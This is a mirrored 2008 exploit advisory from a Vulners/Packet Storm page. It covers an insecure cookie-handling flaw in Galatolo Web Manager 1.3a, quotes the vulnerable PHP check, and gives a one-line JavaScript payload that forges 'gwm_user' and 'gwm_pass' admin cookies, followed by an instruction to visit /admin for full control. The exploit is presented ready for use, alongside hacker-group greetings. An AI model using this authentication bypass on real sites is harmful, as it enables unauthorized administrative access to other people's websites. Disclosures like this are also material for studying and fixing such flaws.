Lucene search
K

galatolo-cookie.txt

🗓️ 16 Jul 2008 00:00:00Reported by hadihadiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability. Admin login creates insecure cookie with no password, leading to unauthorized admin access

Code
` ############################################################################################  
# #  
# ...:::::Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability ::::.... #   
############################################################################################  
  
Virangar Security Team  
  
www.virangar.net  
www.virangar.ir  
  
--------  
Discoverd By :virangar security team(hadihadi)  
  
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra  
  
& all virangar members & all hackerz  
  
greetz:to my best friend in the world hadi_aryaie2004  
& my lovely friend arash(imm02tal)  
-------  
DESCRIPTION:  
Galatolo Web Manager, suffers from insecure cookie handling, when a admin login is successfull the script creates  
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt  
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are  
logged in as a legit admin.  
---  
vuln code in /Admin/index.php:  
  
if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){  
top();  
menu();  
echo $wellcome_admin;  
foot();  
}  
  
---  
exploit:  
javascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";  
-----  
now visit /admin and you can get admin access and manage the cms ;)  
-------  
young iranian h4ck3rz  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation